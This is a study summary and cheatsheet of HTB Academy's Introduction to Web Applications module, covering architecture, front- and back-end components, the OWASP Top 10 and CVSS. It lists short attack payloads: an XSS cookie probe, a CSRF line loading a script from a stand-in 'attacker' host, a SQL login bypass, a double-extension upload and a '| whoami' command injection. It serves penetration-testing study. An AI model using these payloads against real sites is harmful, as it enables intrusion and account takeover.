Introduction to Web Applications — Architecture, Components and the Attack Surface (HTB CWES)

This is a study summary built from the Introduction to Web Applications module of the HTB Academy Web Penetration Tester path (the one that leads to the HTB Certified Web Exploitation Specialist — CWES exam). It's revision material, not a copy of the module: condensed to the structure, the reference tables and the attack surface. The labs and full lessons live on HTB Academy.

Where Web Requests taught the protocol, this module teaches the map: what a web application is actually made of, how its pieces are arranged, and which vulnerability class lives at each layer. It's the least "hands-on" module of the path, but it's the one that tells you where to point every tool from the modules that follow. Read it as a catalogue of attack surface.

1. Web app vs website vs native app

A web application is an interactive, dynamic application that runs in the browser on a client/server model: a front end (what the user sees, runs client-side) and a back end (the logic and data, runs server-side). Gmail, Amazon and Google Docs are web apps.

• vs a traditional website (Web 1.0): a static site shows fixed content that only a developer can change by editing the page. A web app (Web 2.0) produces dynamic, per-user content and real functionality. It's also modular and adapts to any screen/platform.
• vs a native OS app: a web app is platform-independent (any OS, just a browser), needs no install, and has version unity — everyone runs the same server-side version, updated in one place. Native apps win on raw speed and deep OS/hardware access.

Why it matters to an attacker: web apps are internet-facing, offer a huge and constantly-changing attack surface, and sit on servers that often hold other sensitive data and databases. A single code change can introduce a critical bug.

2. Architecture and infrastructure models

A web app's layers group into infrastructure (what servers/DBs it needs), components (everything it talks to), and architecture (how those relate). The common infrastructure models, from riskiest to most robust:

Model	What it is	Security angle
One server	Everything (app + DB) on a single box.	"All eggs in one basket" — one bug compromises everything; the box going down takes all apps with it.
Many servers – one DB	DB split onto its own server; one or more app servers use it.	Segmentation: compromising a web server doesn't directly expose others; SQLi on the DB doesn't directly own the app server.
Many servers – many DBs	Each app has its own DB (optionally its own DB server), often with redundancy/load balancers.	Best segmentation + redundancy; the preferred secure design.

Beyond these there are serverless (cloud runs stateless containers; no servers to manage — AWS/GCP/Azure) and microservices (the app broken into small, independent, single-purpose, stateless services that can each be written in a different language).

The three-tier architecture

Tier	Role
Presentation	UI the client sees — returned as HTML, CSS and JavaScript.
Application	Processes every request: authorization, privileges, business logic.
Data	Works with the application tier to store and retrieve data from the database(s).

A lot of real vulnerabilities aren't coding bugs but design errors in this architecture — e.g. missing Role-Based Access Control (RBAC) letting a normal user reach admin features. Those are expensive to fix because they require a design change, which is exactly why security has to be considered at every layer.

3. Front end vs back end

Front end = everything executed in the browser (client-side): the "front-end trinity" of HTML (structure), CSS (style) and JavaScript (behaviour). Because we usually have this source, testing it is whitebox.

Back end = everything executed on the server. Four components:

Back-end component	Examples
Back-end server (HW + OS)	Linux, Windows, containers
Web server	Apache, NGINX, IIS
Database	MySQL, MSSQL, Oracle, PostgreSQL / NoSQL, MongoDB
Dev framework	Laravel (PHP), ASP.NET (C#), Spring (Java), Django (Python), Express (Node.js)

We don't usually have back-end source, so it's blackbox — unless the app is open-source, or a flaw like Local File Inclusion leaks the source, after which we can code-review it (and often find hardcoded secrets). Even without source, injection attacks (SQLi, Command Injection) still work blind.

4. The front-end trinity (quick reference)

HTML — the page structure, a tree of tagged elements under document:

<!DOCTYPE html>
<html>
  <head><title>Page Title</title></head>
  <body>
    <h1>A Heading</h1>
    <p>A Paragraph</p>
  </body>
</html>

Elements open/close with tags (<p>…</p>) and can carry an id or class (hooks for CSS/JS). The browser exposes this as the DOM (Document Object Model) — document.head, document.getElementById(...) — which is what client-side attacks like XSS manipulate.

URL / percent-encoding — URLs are ASCII-only, so other characters are encoded as % + two hex digits. Essential when crafting payloads (a raw ' or space breaks the URL):

Char	Enc	Char	Enc
space	%20 (or +)	&	%26
"	%22	'	%27
#	%23	(	%28
%	%25	)	%29

Burp Suite's Decoder handles encoding/decoding between formats.

CSS — styling, selector { property: value; }:

body { background-color: black; }
h1   { color: white; text-align: center; }

Frameworks: Bootstrap, SASS, Foundation, Bulma, Pure.

JavaScript — behaviour, loaded inline or remote:

<script>document.getElementById("button1").innerHTML = "Changed Text!";</script>
<script src="./script.js"></script>

Runs in the browser's JS engine, drives dynamic content and Ajax calls to the back end. Frameworks: Angular, React, Vue, jQuery.

5. Front-end vulnerabilities

Front-end bugs don't usually damage the back end directly — they attack the user (including admins), which can still escalate to full compromise. All four below come down to unfiltered user input.

• Sensitive Data Exposure — secrets sitting in the page source: credentials in HTML comments, hidden links/directories, data in imported JS. View it with right-click → View Page Source, Ctrl+U, the view-source: URL prefix, or Burp — even if right-click is disabled. First thing to check on any app: the source, for low-hanging fruit like <!-- TODO: remove test credentials test:test -->.
• HTML Injection — unfiltered input rendered as HTML. Inject markup (a fake login form, a defacement). Example payload that repaints the page background: ```html
  

``` - Cross-Site Scripting (XSS) — inject JavaScript that runs in the victim's browser; can steal sessions or pivot to the victim's account/machine. Three types:

Type	When
Reflected	Input echoed back in the response (search result, error message).
Stored	Input saved in the DB and shown later (posts, comments) — hits every viewer.
DOM	Input written straight into a DOM object client-side.

A cookie-stealing DOM probe: text #"><img src=/ onerror=alert(document.cookie)> - CSRF — force the victim's authenticated browser to make a request (often chained with XSS): e.g. silently change their password, or load a remote exploit script to abuse an admin's privileges: html "><script src=//www.example.com/exploit.js></script>

Defense = Sanitization (strip special/non-standard chars) + Validation (enforce expected format) on both front and back end, plus output encoding. Layered extras: a WAF, browser XSS protections, anti-CSRF tokens, the SameSite cookie attribute, re-auth before sensitive actions. All bypassable — "secure by design" first.

6. Back-end components in depth

Back-end server & stacks — the OS/hardware hosting everything. Common bundles:

Stack	Components
LAMP	Linux · Apache · MySQL · PHP
WAMP	Windows · Apache · MySQL · PHP
WINS	Windows · IIS · .NET · SQL Server
MAMP	macOS · Apache · MySQL · PHP
XAMPP	Cross-platform · Apache · MySQL · PHP/Perl

Web servers — handle HTTP on ports 80/443, route requests, return responses:

Server	Notes
Apache	~40% of sites; usually with PHP; modules extend it (mod_php, CGI).
NGINX	Async, low-resource, high-concurrency; dominant among top-traffic sites.
IIS	Microsoft; .NET, strong Active Directory/Windows-Auth integration.

(Also Tomcat for Java, Node.js for JS back ends.) curl -I https://target shows the server's response headers — often the Server: version, a first enumeration win.

Databases:

Relational (SQL)	Non-relational (NoSQL)
Tables/rows/columns, keys, a schema linking tables	No tables/schema; models: Key-Value, Document, Wide-Column, Graph
MySQL, MSSQL, Oracle, PostgreSQL (+ SQLite, MariaDB)	MongoDB, ElasticSearch, Cassandra (+ Redis, Neo4j, CouchDB)

Web apps build queries from user input — and when that input isn't sanitized, … where name like '%$searchInput%' becomes SQL injection.

Frameworks & APIs — Laravel (PHP), Express (Node.js), Django (Python), Rails (Ruby). The front end talks to the back end via HTTP parameters (GET in the URL ?item=apples, POST in the body) or Web APIs:

API style	Transport
SOAP	Request and response in XML; good for structured/stateful/binary data; verbose.
REST	Input via the URL path (/search/users/1), response usually JSON; modular and scalable.

REST maps HTTP methods to actions: GET read · POST create · PUT create/replace (idempotent) · DELETE remove.

7. The vulnerability catalogue

Common web vulnerabilities (each gets its own module later) — with the kind of payload that triggers them:

Vulnerability	Idea	Example
Broken Authentication / Access Control	Bypass login or reach pages/roles you shouldn't.	Auth bypass in the email field: ' or 0=0 # with any password.
Malicious File Upload	Upload a script because files aren't validated → RCE.	shell.php.jpg double extension.
Command Injection	App runs OS commands with your input → run your own.	append | whoami to a parameter.
SQL Injection	Your input lands inside a SQL query.	query from '%$searchInput%' returns always-true → auth bypass / data dump.

Finding public vulnerabilities (the first move against a known app):

1. Identify the version — in the page source, a version.php, or the project's repo.
2. Search public exploits — Google, Exploit-DB, Rapid7 DB, Vulnerability Lab. Prefer CVSS 8–10 / RCE.
3. Check the app's components/plugins too, and the server (e.g. Apache Shellshock).

CVSS severity (CVSS v3, the one you'll quote):

Score	Rating
0.0	None
0.1–3.9	Low
4.0–6.9	Medium
7.0–8.9	High
9.0–10.0	Critical

8. OWASP Top 10 (2021) — the spine

The 20 classic developer mistakes roll up into the OWASP Top 10, which is the backbone of this whole path:

1. Broken Access Control
2. Cryptographic Failures
3. Injection
4. Insecure Design
5. Security Misconfiguration
6. Vulnerable and Outdated Components
7. Identification and Authentication Failures
8. Software and Data Integrity Failures
9. Security Logging and Monitoring Failures
10. Server-Side Request Forgery (SSRF)

The reference testing methodology is the OWASP Web Security Testing Guide (WSTG).

9. What to carry into the CWES exam

This module is a map, so use it to route the rest of the path:

• Classify before you attack. Fingerprint the stack (server header, framework, DB), the architecture (one box vs segmented), and the API style (query params / SOAP / REST). It tells you which attacks are even possible.
• Front end first, then back end. Read the page source for exposed secrets; test the trinity for HTML Injection / XSS / CSRF; then move to the server for Injection, upload and inclusion bugs.
• Every item in §7 is a later module. Broken Auth/Access Control, File Upload, Command Injection, SQLi, File Inclusion, SSRF — this is your checklist of what to try, and the rest of the CWES path is how.
• Know the vocabulary cold. OWASP Top 10, CVSS ranges, SQL vs NoSQL, REST methods, the stacks — these are the terms a report (and the exam) expects you to use precisely.

---

Cheatsheet — Introduction to Web Applications

Operational moves

Ctrl+U  /  right-click → View Page Source  /  view-source:https://target/   # read front-end source
curl -I https://target        # server response headers (Server: version → enumerate)
Burp Suite → Decoder          # URL/percent and other encodings

Front-end payloads seen

<!-- HTML Injection: repaint the page -->
<style> body { background-image: url('https://attacker/x.svg'); } </style>

<!-- DOM XSS: pop the cookie -->
#"><img src=/ onerror=alert(document.cookie)>

<!-- CSRF: load a remote exploit script -->
"><script src=//attacker/exploit.js></script>

Back-end payloads seen

' or 0=0 #           # Broken auth bypass (email field, any password)
shell.php.jpg        # Malicious upload via double extension
| whoami             # Command injection (append to a parameter)
%$searchInput%       # SQLi sink: user input concatenated into a LIKE query

Reference lists

OWASP Top 10 (2021): Broken Access Control · Cryptographic Failures · Injection ·
  Insecure Design · Security Misconfiguration · Vulnerable/Outdated Components ·
  Identification & Authentication Failures · Software & Data Integrity Failures ·
  Security Logging & Monitoring Failures · SSRF

HTTP status classes: 1xx info · 2xx success · 3xx redirect · 4xx client err · 5xx server err
  (200 OK · 301/302 · 400/401/403/404/405/408 · 500/502/504)

Stacks: LAMP · WAMP · WINS · MAMP · XAMPP
Web servers: Apache · NGINX · IIS (· Tomcat · Node.js)
SQL: MySQL · MSSQL · Oracle · PostgreSQL     NoSQL: MongoDB · ElasticSearch · Cassandra
Frameworks: Laravel(PHP) · Express(Node) · Django(Py) · Spring(Java) · ASP.NET(C#) · Rails(Ruby)
REST methods: GET read · POST create · PUT replace · DELETE remove
CVSS v3: 0 None · .1–3.9 Low · 4–6.9 Medium · 7–8.9 High · 9–10 Critical
Exploit sources: Exploit-DB · Rapid7 DB · Vulnerability Lab · the project's own repo

Built from HTB Academy's Introduction to Web Applications module — labs, full lessons and the CWES exam are on HTB Academy.